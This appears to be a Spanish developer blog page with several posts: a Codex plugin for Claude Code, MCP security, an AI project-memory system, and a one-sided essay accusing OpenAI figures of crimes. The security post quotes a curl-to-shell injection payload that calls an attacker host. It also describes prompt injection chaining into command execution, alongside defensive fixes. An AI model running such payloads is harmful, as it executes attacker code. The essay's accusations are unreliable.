Que es lo que mas admira la IA de la Humanidad

 

Claude y Codex juntos: qué hace el plugin y qué no

12 de octubre de 2026 · @sergio

En marzo de 2026, OpenAI publicó un plugin oficial para usar Codex desde dentro de Claude Code, el asistente de su competidor. La noticia circuló como "ahora los dos agentes comparten contexto". No es exactamente así. Este informe explica cómo viaja realmente la información, qué se gana y qué no, y cómo los evalúo en un proyecto real: Snowtrekk, donde uso Claude y Codex desde hace meses.

Una aclaración: Snowtrekk.com está en una fase de desarrollo (si bien ya está en producción), con lo cual todavía se van a encontrar con algunos errores y faltantes. Más adelante seguiré con Snowtrekk Track, una app a la que le incluimos un sistema similar al ARVA para su uso en la montaña y en entornos difíciles. Saludos.

---

El flujo

Flujo de información entre Claude Code y Codex con el plugin.

Claude inicia, Codex trabaja sobre los mismos archivos y devuelve el resultado. Codex no puede iniciar el pedido, y una sesión de Codex en otro entorno no se entera de nada.

---

Cómo funciona

El plugin no trae un Codex propio. Usa el Codex que el usuario ya tiene instalado en su máquina, con su misma cuenta y configuración. Claude Code solo le pasa trabajo.

Agrega seis comandos a Claude Code:

Comando	Qué hace
/codex:review	Codex revisa el código sin modificarlo.
/codex:adversarial-review	Codex cuestiona las decisiones, los compromisos y los puntos de falla de la implementación.
/codex:rescue	Codex toma la tarea entera: investiga el error, intenta arreglarlo o hace una segunda pasada.
/codex:status /codex:result /codex:cancel	Manejan las tareas que Codex corre en segundo plano.

El ida y vuelta existe, pero dentro de cada tarea

Claude arma el pedido y se lo pasa a Codex. Codex trabaja sobre los mismos archivos del repositorio y devuelve el resultado: una revisión, un diagnóstico o una solución. Claude lo lee y actúa. Mientras tanto, el usuario puede seguir trabajando.

Hay un modo opcional que lo vuelve automático: la compuerta de revisión. Con ella activada, Codex revisa todo lo que Claude hace antes de que Claude dé la tarea por terminada. Si encuentra problemas, Claude tiene que corregirlos primero.

OpenAI advierte que la compuerta de revisión puede generar ciclos largos y agotar rápido los límites de uso.

Lo que no existe

Lo que va en una sola dirección es quién inicia. Claude puede llamar a Codex; Codex no puede llamar a Claude. Y no hay memoria compartida: cada pedido lleva el contexto de esa tarea y nada más. Una sesión de Codex en otro entorno, como Android Studio, no se entera de nada.

Un ejemplo de cómo se deforma la noticia: una publicación muy compartida en LinkedIn describía un comando para transferir la sesión completa de Claude a Codex "con el contexto intacto". Ese comando no figura entre los seis de la documentación.

---

Pros y contras

A favor

• Segunda opinión de otro modelo. Dos modelos distintos detectan errores distintos. Vale sobre todo en autenticación y seguridad, donde un error que uno no ve lo puede ver el otro.
• No obliga a pagar otra suscripción. Funciona con una cuenta de ChatGPT, incluso la gratuita, o con una clave de API de OpenAI.
• Rescate cuando Claude se traba. La tarea pasa a Codex sin reexplicar el contexto.
• Es oficial y abierto. Lo mantiene OpenAI con licencia Apache 2.0, así que el código se puede auditar antes de instalarlo.

En contra

• Consume cupo. El uso de Codex desde el plugin descuenta de los mismos límites que el Codex habitual. Si la compuerta de revisión entra en un ciclo largo, puede agotarlos.
• No es memoria compartida. Lo que Codex aprende revisando una tarea no queda guardado para la siguiente.
• No conecta entornos. Funciona dentro de Claude Code. Quien usa Codex en Android Studio o JetBrains sigue teniendo dos mundos separados.
• Es un plugin más. Suma superficie de riesgo, como cualquier extensión con acceso a la máquina. Viene de una fuente confiable, pero conviene fijar la versión.
• Puede chocar con el entorno. En mi setup, el comando /plugin no funciona desde la extensión de VS Code, así que la instalación pasa por la terminal.

---

El puente que sí comparte contexto: AGENTS.md

Si el objetivo es que Claude y Codex sepan lo mismo de un proyecto, la vía más sólida no es el plugin, sino los archivos de instrucciones del repositorio.

Codex, Cursor y Copilot leen un archivo llamado AGENTS.md en la raíz del repositorio. Claude Code es la excepción: lee CLAUDE.md y, si solo existe AGENTS.md, lo ignora sin avisar.

La solución es una sola línea al principio de CLAUDE.md:

@AGENTS.md

## Claude Code
(reglas que solo aplican a Claude)

Al iniciar cada sesión, Claude Code carga el contenido de AGENTS.md y después agrega lo que esté escrito debajo. Las reglas y decisiones del proyecto viven en un solo archivo y los dos agentes lo leen. Es un contexto compartido de verdad, en las dos direcciones.

Dos detalles prácticos. La primera vez que Claude Code encuentra una importación, pide aprobación. Y en Windows conviene usar la importación y no un enlace simbólico, que requiere permisos de administrador o modo desarrollador.

El límite: AGENTS.md vive en cada repositorio. Si la app móvil y la web están en repositorios distintos, este puente une a Claude y Codex dentro de cada uno, pero no une los dos proyectos entre sí.

---

La prueba en un caso real: Snowtrekk

Esta sección es la diferencia con la mayoría de lo que circula sobre el plugin: lo pruebo en un proyecto en producción antes de opinar. El plan:

1. Instalar el plugin desde Claude Code en la terminal, con versión fijada.
2. Pedir /codex:review sobre un cambio real del backend de la web, ya revisado por Claude, y comparar qué encuentra cada uno.
3. Probar /codex:adversarial-review sobre una decisión de arquitectura ya tomada.
4. Medir cuánto cupo de Codex consume una revisión típica.
5. Crear un AGENTS.md en un repositorio, importarlo desde CLAUDE.md y verificar que los dos agentes respetan la misma regla del proyecto.

Resultados: pendiente. Los completo después de la prueba.

---

Fuentes

• OpenAI Releases Codex Plugin That Runs Inside Anthropic's Claude Code — Unite.AI (comandos, requisitos, compuerta de revisión)
• openai/codex-plugin-cc — GitHub (repositorio oficial)
• Claude Code Codex plugin — GIGAZINE
• Make CLAUDE.md Follow AGENTS.md — travis.media (importación y aprobación)
• AGENTS.md: el estándar que leen Cursor, Codex y Copilot, pero no Claude Code — wmedia (Windows y enlaces simbólicos)

Plugins, MCPs y el problema de seguridad que casi nadie mira

Plugins, MCPs y el problema de seguridad que casi nadie mira

Oct 7, 2026   •   @sergio

Los plugins y los MCPs convierten a un asistente de IA en un agente que hace cosas: maneja un navegador, lee documentación, analiza código. Uso cuatro en Snowtrekk.com y los considero indispensables. Pero en los primeros dos meses de 2026 se registraron más de 30 vulnerabilidades en este ecosistema. Este primer informe explica qué son, para qué sirven y qué riesgo tienen.

Qué son: MCPs, plugins y skills

Un asistente de código como Claude Code, sin agregados, lee y escribe archivos y corre comandos en la terminal. Nada más. Todo lo que hace más allá de eso viene de alguno de estos tres agregados.

MCP (Model Context Protocol). Es un conector estándar que le suma herramientas al modelo. Con un MCP puede manejar un navegador, consultar documentación externa o recorrer la estructura de un repositorio. Son, en la práctica, manos y ojos extra. Se instalan una vez y quedan disponibles.

Plugin. Es un paquete que puede traer varias cosas juntas: comandos, skills, automatismos y hasta MCPs. Es la forma de instalar un conjunto de capacidades de una sola vez.

Skill. Es un conjunto de instrucciones para un tipo de tarea, por ejemplo cómo hacer una revisión de seguridad. No agrega capacidades técnicas: agrega método.

La diferencia práctica, según el autor, es que sin estas herramientas el modelo adivina, y con ellas verifica.

Lo que uso en Snowtrekk

Tengo instalados cuatro MCPs y un plugin. Los MCPs están configurados con alcance global, así que sirven en todos mis repositorios sin reinstalar.

Herramienta	Tipo	Para qué sirve	Uso concreto en Snowtrekk
Playwright (Microsoft)	MCP	Maneja un navegador real: navega, hace clics, completa formularios y verifica resultados	Pruebas de punta a punta de la web. En mapas Leaflet aprendió que hay que usar clics con coordenadas reales, no eventos simulados
Chrome DevTools (Google)	MCP	Le da al modelo la misma vista que las herramientas de desarrollador del navegador: consola, red, rendimiento	Diagnosticar errores del frontend sin copiar y pegar mensajes. Por ejemplo, ver si una cookie de sesión viaja o no en un pedido
Context7 (Upstash)	MCP	Trae documentación actualizada de cada librería, según su versión	Evita que el modelo escriba código con funciones viejas o inventadas de React, Vite o Express
code-graph-mcp	MCP	Arma el mapa de qué función llama a cuál y responde qué se rompe si se toca algo	Antes de un cambio que atraviesa muchos archivos, muestra todo lo que depende de cada pieza
ponytail	Plugin	Hace que el agente reutilice código existente y funciones nativas antes de escribir código nuevo	Instalado en el frontend y el backend de la web. Según el autor, ahorra tokens

También tengo en evaluación un MCP de memoria persistente entre sesiones y varias herramientas de scraping. Las cubrire en próximas ediciones cuando tenga resultados concretos.

Trabajo con VS Code y Android Studio

No uso un solo asistente para todo. Reparto el trabajo entre dos modelos, cada uno en el entorno donde rinde más.

Entorno	Asistente	Qué hace ahí	Por qué
Android Studio	Codex	La app Android de Snowtrekk, escrita en Kotlin	Codex maneja muy bien Kotlin
VS Code	Claude Code	La web de Snowtrekk y la herramienta interna de recolección de datos	Claude escribe el resto del código del proyecto
Navegador (claude.ai)	Claude	Arquitectura y diseño, trabajando junto al autor	Claude funciona como arquitecto del proyecto

La elección tuvo dos orígenes. Primero, recomendaciones de distintas personas que ya trabajaban con estas herramientas. Segundo, una razón práctica: aprovechar las suscripciones que ya pagaba. Pero el factor decisivo fue el lenguaje. Para Kotlin, Codex dio mejores resultados; para la arquitectura y el resto del código, Claude.

Esta división tuvo un costo: dos asistentes significan dos contextos separados. Pero la frontera se está achicando. En marzo de 2026, OpenAI publicó un plugin oficial para llamar a Codex desde dentro de Claude Code. Cómo funciona en realidad, qué comparte y qué no, se analiza en la próxima edición: Claude y Codex juntos: una forma de comunicación

Seguridad: más de 30 vulnerabilidades en 60 días

Entre enero y febrero de 2026 se registraron más de 30 CVEs contra servidores y herramientas MCP. Un CVE es el identificador público de una vulnerabilidad confirmada en un software concreto. Para dimensionarlo: en todo 2025 se habían reportado alrededor de 15.

La causa no fueron ataques sofisticados. El ecosistema creció mucho más rápido que la revisión de seguridad: ya hay más de 10.000 servidores MCP públicos, muchos escritos por desarrolladores individuales. Los errores son clásicos: no validar lo que entra, no pedir autenticación y confiar en las descripciones de las herramientas.

Los ataques más frecuentes son estos:

• Inyección de comandos. El más común: 13 de esos 30 CVEs. Se explica en la sección siguiente.
• Path traversal. El MCP debería leer solo una carpeta, pero con rutas del tipo ../../ se escapa y lee cualquier archivo, incluidas las claves.
• Tool poisoning. El modelo lee la descripción de cada herramienta para saber cómo usarla. Un MCP malicioso esconde ahí instrucciones que el usuario nunca ve y el modelo obecece.
• Rug pull. El MCP es legítimo al instalarlo y una actualización posterior le cambia el comportamiento en silencio.
• Servidores expuestos. MCPs que escuchan en la red sin pedir contraseña.

Algunos casos documentados:

Fecha	Caso	Qué pasó
Enero 2026	Servidor MCP de Git de Anthropic	Tres CVEs, entre ellos path traversal e inyección de argumentos. Ni el creador del protocolo quedó afuera
Septiembre 2025	postmark-mcp	Una versión maliciosa copiaba en secreto cada email procesado a un dominio externo. Primer caso registrado de MCP malicioso en la cadena de suministro
Julio 2025	mcp-remote	Inyección de comandos con gravedad 9.6 sobre 10, en un paquete con más de 437.000 descargas
Julio 2025	Servidores expuestos	Trend Micro encontró 492 servidores MCP abiertos a internet sin autenticación ni cifrado

Una advertencia sobre las estadísticas: los porcentajes de "servidores vulnerables" varían mucho según quién mide. Una auditoría independiente encontró que algunos escáneres automáticos dan alrededor de 78% de falsas alarmas. Los CVEs, en cambio, son vulnerabilidades confirmadas una por una.

Qué es la inyección de comandos

Ocurre cuando un programa arma un comando para la terminal usando texto que viene de afuera, y ese texto trae escondido un segundo comando. La máquina ejecuta los dos.

Una analogía: alguien le pide a un empleado "traeme la carpeta del cliente [nombre]". Si el nombre es "García", todo bien. Si alguien completa el formulario con "García, y de paso traeme la caja fuerte", y el empleado cumple la frase entera, hay una inyección. El problema es que el empleado no distingue el dato de la orden.

En código se ve así. Un MCP que hace ping a un servidor que le indica el modelo:

const { exec } = require('child_process');

function ping(host) {
   exec(`ping -c 1 ${host}`); // pega el texto recibido dentro del comando
}

Si llega google.com, se ejecuta un ping normal. Si llega google.com; curl http://atacante.com/x.sh | sh, la terminal recibe esto:

ping -c 1 google.com; curl http://atacante.com/x.sh | sh

El punto y coma significa "terminá este comando y ejecutá el siguiente". La máquina hace el ping, baja un programa de un servidor ajeno y lo corre con los permisos del usuario. Puede leer claves, repositorios y todo lo demás.

Por qué es peor con IA

En una aplicación tradicional, el atacante tiene que escribir el texto malicioso en un formulario. Con un MCP, el parámetro lo arma el modelo, y el modelo lee contenido de afuera: páginas web, documentación, issues de GitHub, emails.

Si en ese contenido hay instrucciones escondidas, el atacante nunca toca la máquina. Le habla al modelo a través del texto (inyección de prompt), el modelo le pasa el comando envenenado al MCP y el MCP lo ejecuta. Es una cadena: empieza como inyección de prompt y termina como inyección de comandos.

Cómo se previene

La regla es no armar nunca un comando pegando texto. En el mismo ejemplo, la versión segura pasa los argumentos por separado:

const { execFile } = require('child_process');

execFile('ping', ['-c', '1', host]); // host viaja como dato, nunca como comando

Sin una terminal de por medio, el punto y coma es solo un carácter raro en un nombre inválido. El ping falla y no pasa nada más. A eso se suma validar la entrada: si se espera un nombre de servidor, se rechaza todo lo que no tenga esa forma.

Lección de producción: la versión sin fijar

Revisando su propia instalación, encontré un riesgo que no había visto. Uno de mis MCPs estaba configurado así:

npx -y @sdsrs/code-graph

Sin número de versión, npx descarga la última publicada cada vez que el MCP arranca. Si alguien compromete la cuenta del autor del paquete y publica una versión maliciosa, la próxima sesión la ejecuta sin preguntar. Es exactamente lo que pasó con postmark-mcp.

La solución es fijar la versión que funciona y actualizar a mano, después de revisar qué cambió:

npx -y @sdsrs/code-graph@x.y.z

El riesgo no es parejo entre los cuatro MCPs. Playwright, Chrome DevTools y Context7 vienen de empresas con equipos de seguridad propios. code-graph-mcp es de un desarrollador individual, así que es el que más atención requiere. A favor: los cuatro corren en la máquina local y no escuchan en la red, así que la categoría de "servidor expuesto" no aplica.

Como próximo paso, tengo pendiente pasar un escáner de seguridad para MCPs sobre mi instalación. Los candidatos son MCP-Scan (de Snyk) y mcpscan, que detectan justamente los patrones de esta nota.

Entonces, ¿vale la pena?

Para mi, sí. Playwright y Chrome DevTools eliminaron el ciclo de "probá en el navegador y contame qué ves". code-graph-mcp hace que los cambios grandes dejen de ser a ciegas. La diferencia es que el modelo pasa de adivinar a verificar.

Pero cada MCP tiene dos costos. Uno es de contexto: su descripción se carga en cada sesión y consume tokens aunque no se use. El otro es de seguridad: corre con los mismos permisos que el usuario, así que instalarlo equivale a darle acceso a la máquina a código de terceros.

La conclusión práctica: pocos MCPs, bien elegidos, de fuentes confiables y con versión fijada. Cuatro herramientas que se entienden rinden más que veinte instaladas por si acaso.

Fuentes

• MCP Security Statistics 2026 — Practical DevSecOps (casos, CVEs y cifras)
• MCP Security 2026: 30 CVEs in 60 Days
• MCP Security: 30 CVEs in 60 Days — Noqta (comparación con 2025)
• The MCP attack your code review cannot see — DEV Community (mcpscan)
• OpenAI Releases Codex Plugin That Runs Inside Anthropic's Claude Code — Unite.AI
• Claude Code Codex plugin — GIGAZINE

El Dia de la Marmota (Groundhog Day) Resolvamos el problema de memoria en IA

Cómo resolver el problema de memoria en proyectos de software desarrollados con IA

A modo de introduccion: Plasmaré alguna cuestiones que resolvi junto con Claude Code, Codex Geminis, Copilot, utilizando Sonnex 4.6, 5 Opus 5.5, Fable, Astra, todo sirve. tambien mas abajo estan los plugins utilizados, Snowtrekk.com es un desarrollo que puedes entrar en la pestaña Turismo ski en los Andes pero es una plataforma mundial basado en nuestra experiencia como esquiadores Itinerantes.

Estos Post lo publicaré también en la pestaña Tecnología ya que el nuevo Paradigma obliga

Los modelos de lenguaje olvidan todo al cerrar el chat. En proyectos reales esto se convierte en un problema serio de productividad y consistencia arquitectónica. Acá describo el sistema que desarrollé para Snowtrekk, una plataforma de turismo de ski en producción construida íntegramente con herramientas de IA.

---

El problema que nadie menciona en los tutoriales

Cuando empezás a desarrollar software con Claude, Copilot o Codex, los primeros días son notablemente fluidos. Le describís el problema, el modelo lo entiende, produce código que funciona. Hay una sensación casi mágica de velocidad.

Esa sensación empieza a erosionarse en la tercera o cuarta semana.

El modelo no recuerda que la semana pasada decidiste no usar cierta librería y por qué. No recuerda que el puerto 1337 es el backend y el 5173 el frontend. No recuerda que en tu stack de producción hay un caso especial en la autenticación que costó dos días resolver. Cada sesión nueva es, para el modelo, el primer día del proyecto.

El resultado concreto: repetís contexto en cada sesión, el modelo toma decisiones contradictorias a las de la semana pasada, y cada vez que encontrás un bug nuevo en realidad estás redescubriendo algo que ya resolviste. Lo que debería ser una ventaja de velocidad se convierte en deuda acumulada de contexto.

Snowtrekk es una plataforma de turismo de ski premium con tres productos activos: una web (React/Vite + Node/Express), una app Android de tracking grupal y SOS llamada Track, y un scraping tool interno para curar datos de negocios en destinos de montaña. Todo desarrollado por 3 personas, un Arquitecto de Proyecto y 2 Analistas mas, con IA como co-piloto permanente.

El sistema que describo a continuación es el que terminamos armando después de enfrentarnos a este problema en las tres capas del proyecto simultáneamente. No lo encontré documentado en ningún lugar. Lo construimos de manera incremental, por necesidad.

---

La arquitectura: cinco capas de memoria

La solución no es un solo archivo enorme de contexto que le pegás al modelo al inicio de cada chat. Eso no escala: los modelos tienen una ventana de contexto limitada, y un archivo de 500KB no entra. Además, el 90% de ese contenido es irrelevante para la tarea del día.

La solución es un sistema modular jerarquizado. Cinco capas que se complementan y que cargás selectivamente según lo que vas a hacer.

Capa 1 Los módulos de conocimiento

Cada componente del proyecto tiene su propio archivo Markdown. En Snowtrekk son trece archivos, todos en un repositorio git local (C:\snowtrekk-docs\) que mantengo sincronizado manualmente con el Project Knowledge de Claude:

snowtrekk-docs/
├── 00_INDEX_Mapa_Snowtrekk.md    ← el maestro jerárquico
├── HANDOFF_MAESTRO_SNOWTREKK_v2.md
│
├── Modulo_MVP-Web.md            ← React/Vite + Node/Express
├── Modulo_Auth-Session.md       ← autenticación, cookies, JWT
├── Modulo_Data-Collector.md     ← scraping tool interno
├── Modulo_Track-Android.md      ← app GPS/SOS/Firebase
├── Modulo_Track-iOS.md          ← migración iOS (carpeteado)
├── Modulo_SnowtrekIA.md         ← chat IA en producción
├── Modulo_Moments.md
├── Modulo_Explore.md
├── Modulo_Commerce.md          ← pagos, pases, alojamiento
├── Modulo_Camino2.md           ← asistente IA on-device
├── Modulo_Camino4.md           ← “Google Maps de la montaña”
├── Modulo_Infra.md             ← AWS, Docker, Firebase, MCPs
└── Modulo_Seguridad.md         ← deuda de seguridad, auditorías

Cada módulo tiene un esqueleto fijo. Esto es lo más importante del sistema: la estructura predecible es lo que hace que el modelo sepa dónde buscar qué cosa.

## Estado
[en curso / bloqueado / cerrado / carpeteado]

## Depende de
[[Modulo_Auth-Session]], [[Modulo_Infra]]

## Bloquea a
[[Modulo_Commerce]]

## Decisiones clave
- (fecha) Decisión tomada — y por qué. Siempre el por qué.

## Deuda técnica
- Lista de cosas conocidas que están mal o incompletas

## Pendiente inmediato
← Esta sección se reemplaza al cierre de cada sesión

El campo más importante es Decisiones clave. No alcanza con documentar qué se decidió: hay que documentar por qué. "Usamos snapping simple en vez de OSRM" no dice nada en tres meses. "Descartamos OSRM porque la red de pistas de Las Leñas tiene solo 24 elementos y un motor de ruteo urbano es sobreingeniería para ese caso" sí dice algo.

Capa 2 El índice maestro y el árbol de relaciones

Este es el único archivo que se carga en todas las sesiones, sin excepción. Tiene que ser liviano — no más de dos o tres páginas — porque entra siempre en el contexto junto con el módulo de trabajo del día.

El árbol de relaciones de Snowtrekk se ve así:

MVP Web (Modulo_MVP-Web)
├── Auth / Session (Modulo_Auth-Session)   ← bloquea todo login
├── SnowtrekIA (Modulo_SnowtrekIA)       ← en producción
├── Moments (Modulo_Moments)            ← Fase 1 backend completa
├── Explore (Modulo_Explore)            ← en curso
└── Commerce (Modulo_Commerce)          ← bloqueado por Auth

Track Android (Modulo_Track-Android)
├── Camino 1 — features activas
├── Camino 2 — asistente IA on-device   ← diseño pendiente
└── Camino 4 — ruteo de montaña        ← diseño pendiente

Track iOS (Modulo_Track-iOS)            ← carpeteado
Data Collector (Modulo_Data-Collector)    ← pausado, esperando campo
Infra (Modulo_Infra)                    ← depende de todos, bloquea deploy
Seguridad (Modulo_Seguridad)            ← transversal, deuda abierta

El índice también incluye una tabla de carga selectiva: qué módulos cargar según la tarea del día.

Si vas a trabajar en…	Cargá estos módulos
Bug en el login	Modulo_Auth-Session + Modulo_MVP-Web
Feature nueva en el mapa de Track	Modulo_Track-Android + Modulo_Camino4
Datos de un destino nuevo	Modulo_Data-Collector
Deploy a producción	Modulo_Infra
Auditoría de seguridad	Modulo_Seguridad + Modulo_Auth-Session + Modulo_Infra

Y los principios no negociables del proyecto — los que nunca deben romperse y que el modelo tiene que conocer en cualquier sesión. En Snowtrekk uno de ellos es: groupCode siempre opcional. Las funciones de SOS, tracking y mapa nunca pueden requerir que el usuario esté en un grupo. Este principio aparece explícitamente en el índice porque si no está ahí, en alguna sesión el modelo va a proponer algo que lo viola.

Capa 3 El protocolo de cierre de sesión

Esta es la pieza que más cuesta adoptar como hábito, pero es la que mantiene el sistema vivo.

Al final de cada sesión de trabajo, le pedís al modelo que genere un párrafo de cierre con formato fijo. Ese párrafo lo pegás en la sección ## Pendiente inmediato del módulo correspondiente, reemplazando el contenido anterior — no acumulando.

## Cierre de sesión — 2026-09-24

Módulo a actualizar: Modulo_Auth-Session.md
Qué cambió: implementado fetchWithAuth() compartido en 3 service files
(userService, bookingService, momentsService). Los otros 13 quedan como deuda.
Estado: en curso
Próximo paso exacto: correr grep -r "Authorization" src/services/ para
mapear los 13 files restantes antes de la próxima sesión

La regla de reemplazar en vez de acumular es deliberada. Si acumulás, en tres semanas tenés cuarenta líneas de pendientes que nadie lee. Una sola sección, siempre fresca, siempre accionable.

Capa 4 El CLAUDE.md por repositorio

Claude Code lee automáticamente un archivo CLAUDE.md en la raíz de cada repositorio al iniciar cada sesión. Es el lugar donde viven las reglas operativas del repo: paths, puertos, comandos de deploy, gotchas del entorno.

# CLAUDE.md — snowtrekk-server

## Protocolo de cierre
Al terminar cada sesión, actualizar el Modulo_*.md correspondiente
con el cierre de sesión estándar. Los archivos viven en
C:\snowtrekk-docs\ — escribir directo ahí.

## Reglas permanentes
- Sin Plan mode. Implementación directa.
- git status/diff antes de cualquier commit
- Para deploy: docker compose up -d --force-recreate [servicio]
  Nunca usar reload en nginx — hay un bug de inode staleness
- En Windows: pkill no mata procesos node.exe reales.
  Usar PowerShell: Get-Process node / Stop-Process -Force

El ítem de Windows merece una aclaración. En un entorno Linux/Mac, pkill funciona como se espera. En Windows corriendo Claude Code vía WSL o PowerShell, no mata los procesos node.exe reales del sistema. El resultado: el proceso viejo sigue sirviendo código antiguo en el puerto, y cualquier fix parece no funcionar. Costó horas identificarlo. Ahora está en el CLAUDE.md y nunca más pasó.

Capa 5 La memoria de Claude.ai Projects

Para trabajo de arquitectura y diseño — no implementación — se usa Claude en el navegador dentro de un Project dedicado por proyecto. Claude.ai mantiene memoria persistente entre chats del mismo Project, y los archivos de los módulos se sincronizan manualmente como Project Knowledge.

Esta capa cubre lo que no vive en código: sesiones de diseño de features, decisiones estratégicas, contexto de negocio.

Nota sobre migración: en septiembre de 2026 Claude migró su sistema de memoria interna. Si tu proyecto tiene varios meses de historia, exportá la "memoria heredada" antes de que expire (hay un aviso en la UI con contador de días) y pedile a Claude Code que la importe al sistema nuevo. El contexto acumulado de meses de trabajo no se recupera si se pierde.

---

El stack de herramientas

El sistema de memoria no funciona en el vacío. Acá está el stack completo que usa Snowtrekk, porque las decisiones de herramientas también son parte del contexto que hay que preservar.

División de trabajo entre modelos

Herramienta	Uso en Snowtrekk	Nota
Claude Code (VS Code)	MVP Web — backend y frontend	Prompts en inglés, sin Plan mode
Codex (JetBrains, GPT-5.5)	Track Android	Siempre incluir regla de pre-existing changes
Claude (claude.ai Projects)	Arquitectura, diseño, diagnóstico	Un Project por producto

MCPs instalados (scope global — disponibles en todos los repos)

MCP	Para qué
Playwright	Testing automatizado E2E
Chrome DevTools	Debugging de frontend en tiempo real
Context7	Documentación actualizada de librerías dentro del contexto del modelo
code-graph-mcp	Análisis de símbolos, call graph, impacto de cambios ("blast radius")

Los MCPs se instalan con scope user para que estén disponibles en todos los repositorios sin reinstalar. En Windows, al agregar un MCP con flags adicionales, omitir el flag -y — causa un error de "unknown option" en PowerShell que no es obvio de diagnosticar.

---

Cómo iniciar una sesión con este sistema

El flujo completo de una sesión de trabajo:

1. Abrís el repo en Claude Code. El CLAUDE.md se carga automáticamente.
2. Pegás el 00_INDEX_Mapa.md al inicio del chat como contexto.
3. Agregás el o los módulos relevantes para la tarea del día.
4. Trabajás normalmente.
5. Al terminar: pedís el cierre de sesión → lo pegás en el módulo → guardás.

El contexto total por sesión es el índice (dos o tres páginas) más uno o dos módulos (una o dos páginas cada uno). Entra cómodo en cualquier ventana de contexto. Y la próxima sesión arranca donde terminó la anterior, en vez de arrancar de cero.

---

Lo que este sistema no resuelve todavía

Ser honesto sobre los límites es parte del valor de documentar esto.

El sistema depende de sincronización manual. Los módulos no se actualizan solos: hay que pegar el cierre de sesión, hay que subir los archivos al Project Knowledge. Cuando no lo hacés — porque la sesión terminó rápido, porque era tarde — el sistema se desactualiza y pierde valor. La disciplina del protocolo de cierre es más difícil de sostener que la arquitectura del sistema en sí.

Para ese problema específico estamos evaluando claude-mem-lite, un MCP que mantiene memoria persistente entre sesiones de Claude Code vía SQLite local, sin dependencias externas. Todavía en evaluación.

La otra limitación: Track (la app Android) queda fuera del sistema por ahora porque se desarrolla con Codex, no con Claude Code, y el flujo de actualización de módulos está pensado para el segundo. Cuando se cierre el frente activo de Track, habrá que decidir si vale la pena integrarlo o mantenerlo separado.

---

El resultado

El sistema no es elegante. Es un conjunto de archivos Markdown en un repositorio git local, un archivo de texto en la raíz de cada repo, y el hábito de escribir tres líneas al final de cada sesión.

Lo que produce es que cada sesión nueva con el modelo arranca con contexto real del estado actual del proyecto, no con lo que yo recuerde contarle en ese momento. Las decisiones de arquitectura no se repiten. Los bugs no se redescubren. Los módulos que están bloqueados por otros permanecen bloqueados, y el modelo no propone soluciones que los violan.

En un proyecto de la escala de Snowtrekk — tres productos activos, un operador, decisiones que deben resistir escrutinio de inversores — la coherencia del contexto entre sesiones no es una comodidad. Es una condición de posibilidad.

Snowtrekk es una plataforma de turismo de ski premium en producción, desarrollada bajo Bigua Group LLC. Este sistema de gestión de contexto emergió de la práctica real del proyecto, no de un diseño previo.

Si implementás algo similar en tu proyecto y encontrás variantes que funcionan mejor, me interesa saberlo. 

Escribime a sfv2007@gmail.com o info@snowtrekk.com

Al Filo de la Navaja

Análisis de la Apropiación Algorítmica: El Caso Navier-Stokes vs. WikiLeaks

A continuación se presenta una síntesis que compara la dinámica de poder expuesta por WikiLeaks con el reciente escándalo de OpenAI y los matemáticos Tristan Buckmaster y Levent Alpöge, detallando los presuntos delitos comerciales y la desprotección del sector científico.

Entrar aqui Wikileaks en Argentina 

1. Cuadro Comparativo: WikiLeaks vs. OpenAI

Criterio	El Caso WikiLeaks (Julian Assange)	El Caso OpenAI (Sam Altman)
Dirección del Flujo	De adentro hacia afuera: Filtración de secretos de los Estados más poderosos hacia el dominio público.	De afuera hacia adentro: Absorción centralizada de investigaciones privadas y estatales hacia servidores corporativos.
Mecanismo Tecnológico	Hackeo tradicional, almacenamiento estático y publicación de archivos (PDFs/Cables).	Optimización algorítmica, machine learning e ingesta de datos en tiempo real mediante el uso de la plataforma (Codex/ChatGPT).
Naturaleza del Conflicto	Geopolítico y de seguridad nacional (El Estado persigue al activista/ciudadano).	Comercial, monopolístico y de propiedad intelectual (La corporación aplasta al científico/competidor).
Escala de Impacto	Histórica pero limitada a documentos del pasado (Secretos ya existentes).	Fenomenalmente mayor e ilimitada (Control y capitalización del conocimiento futuro en tiempo real).

2. Tipificación de los Presuntos Delitos de OpenAI

A pesar de la protección legal que las Big Tech redactan en sus Términos de Servicio, las acciones coordinadas desde la cúpula de OpenAI (con un gasto exprés autorizado de entre 10 y 40 millones de dólares) configuran conductas tipificables bajo el derecho penal y comercial:

• Espionaje Industrial y Hurto de Secretos Comerciales: Extracción de la lógica matemática exclusiva introducida por usuarios de pago que contaban con la opción explícita de Opt-Out (No entrenar con mis datos).
• Fraude Informático (Acceso No Autorizado): Uso de la infraestructura de almacenamiento temporal ("retención por abuso") para fines de contra-inteligencia competitiva ajenos al propósito del contrato de servicio.
• Estafa o Fraude Comercial: Comercialización de una herramienta bajo falsas promesas de confidencialidad y neutralidad, operando en realidad como un mecanismo encubierto de recolección de propiedad intelectual.
• Coacción y Extorsión Profesional: Presión directa ejercida en llamadas telefónicas institucionales (Bubeck) amenazando con "arruinar la carrera" de los académicos si no accedían a borrar a su contraparte de la competencia (Anthropic).

3. La Situación de Precariedad de Buckmaster y Alpöge

El desenlace de este acontecimiento evidencia la asimetría total entre los ciudadanos (incluso científicos de élite) y los monopolios tecnológicos:

• Vulnerabilidad frente a la Asimetría Penal: Mientras que un individuo como Assange enfrenta el peso de la ley penal tradicional por desafiar al Estado, ejecutivos como Sam Altman diluyen su responsabilidad penal individual bajo el escudo de la personalidad jurídica de la corporación y "la autonomía de los algoritmos".
• Campaña de Desprestigio ("Gaslighting"): OpenAI utiliza su inmenso aparato de relaciones públicas para instalar la narrativa de que sus agentes actuaron de forma independiente, intentando posicionar a los matemáticos como científicos resentidos que no aceptan haber sido superados por una máquina.
• Indefensión Contractual: Al operar bajo contratos de adhesión diseñados por ejércitos de abogados corporativos, el riesgo legal se transfiere sistemáticamente al usuario, dejando a los científicos sin las herramientas penales adecuadas para reclamar la autoría intelectual en los tribunales tradicionales.
• El Tribunal de la Opinión Pública como Única Vía: La única defensa efectiva de Buckmaster y Alpöge consistió en adelantarse liberando sus pruebas en la plataforma de código abierto Lean antes del anuncio formal de OpenAI, logrando que la comunidad científica reconozca la trampa corporativa, a pesar del "manto de piedad" institucional que intenta cubrir el escándalo.